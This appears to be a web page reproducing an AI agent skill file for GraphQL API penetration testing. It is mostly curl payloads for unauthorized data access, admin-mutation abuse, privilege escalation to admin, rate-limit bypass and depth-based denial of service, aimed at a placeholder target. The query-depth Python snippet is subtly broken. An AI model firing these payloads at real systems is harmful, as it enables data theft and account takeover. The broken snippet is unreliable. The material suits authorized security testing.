Graphql api security

From xalgorix/xalgorix · View interactive version

Graphql api security is an AI agent skill from the GitHub repository xalgorix/xalgorix. GraphQL API security testing covering introspection, field-level authorization, BOLA/BFLA, batching abuse, depth/complexity attacks, mutations, and subscriptions

How to use this skill

Skill file

GraphQL API Security

Purpose

Comprehensive GraphQL API testing: schema intelligence, authorization bypass, resource consumption, and mutation abuse.

Preconditions

Attack Surface Signals

Methodology

Endpoint Discovery

for path in graphql graphql/v1 api/graphql query gql; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" -X POST "https://TARGET/$path" \
    -H "Content-Type: application/json" -d '{"query":"{__typename}"}')
  [ "$code" = "200" ] && echo "[GRAPHQL] /$path"
done

Introspection (Reconnaissance, NOT a standalone vulnerability)

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name type{name}}}}}"}' | jq .

Introspection is attack-surface intelligence. Report it only when combined with a separately confirmed access-control or data-exposure issue. If introspection reveals admin-only types or mutation names, use them for BOLA/BFLA testing below.

BOLA (Object-Level Authorization)

# Query for another user's data by ID
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer USER_A_TOKEN" \
  -d '{"query":"{user(id:\\"USER_B_ID\\"){email role passwordHash}}"}'

BFLA (Function-Level Authorization)

# Try admin-only mutations with a regular user token
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer USER_TOKEN" \
  -d '{"query":"mutation{deleteUser(id:\\"123\\"){success}}"}'

Field-Level Authorization

# Request sensitive fields that may not be field-level protected
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer USER_TOKEN" \
  -d '{"query":"{me{id email role ssn apiKey internalNotes deletedAt}}"}'

Query Depth / Complexity (Resource Consumption)

# Deeply nested query — generate with Python
python3 -c "
depth = 50
query = '{user{' + 'friends{' * depth + 'id' + '}}' * depth + '}}'
print(json.dumps({'query': query}))
"

IMPORTANT: Query depth alone is NOT a vulnerability. A finding requires demonstrating that the depth causes measurable resource impact (timeout, memory, denial of service to other users). Record the depth, the response time, and compare against the baseline.

Batching Abuse

# Send multiple queries in one request (bypasses per-request rate limiting)
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '[{"query":"{user(id:1){email}}"},{"query":"{user(id:2){email}}"},{"query":"{user(id:3){email}}"}]'

Alias Abuse

# Use aliases to query the same field many times in one request
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{a1:user(id:1){email} a2:user(id:2){email} a3:user(id:3){email}}"}'

Mutation Testing

# Test mutations for missing input validation
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation{updateUser(id:1,input:{role:\\"admin\\"}){id role}}"}'

Subscriptions / WebSocket

# Check for WebSocket-based subscriptions
# These may have different auth than HTTP queries
curl -sk -i -N -H "Connection: Upgrade" -H "Upgrade: websocket" \
  "https://TARGET/graphql" --max-time 5

Error Message Intelligence

# Send malformed queries — errors reveal field names
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{nonexistentField}"}' | jq .errors

Evidence Contract

Common Misses

False Positives / Non-Findings

Xalgorix Tool Strategy

Stopping Rule

Exhaust every type, field, and mutation discovered via introspection. Test read and write paths. Test batching and depth impact.

Handoff

Report each confirmed GraphQL issue with the query used, the authorization context, and the concrete unauthorized data/action.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.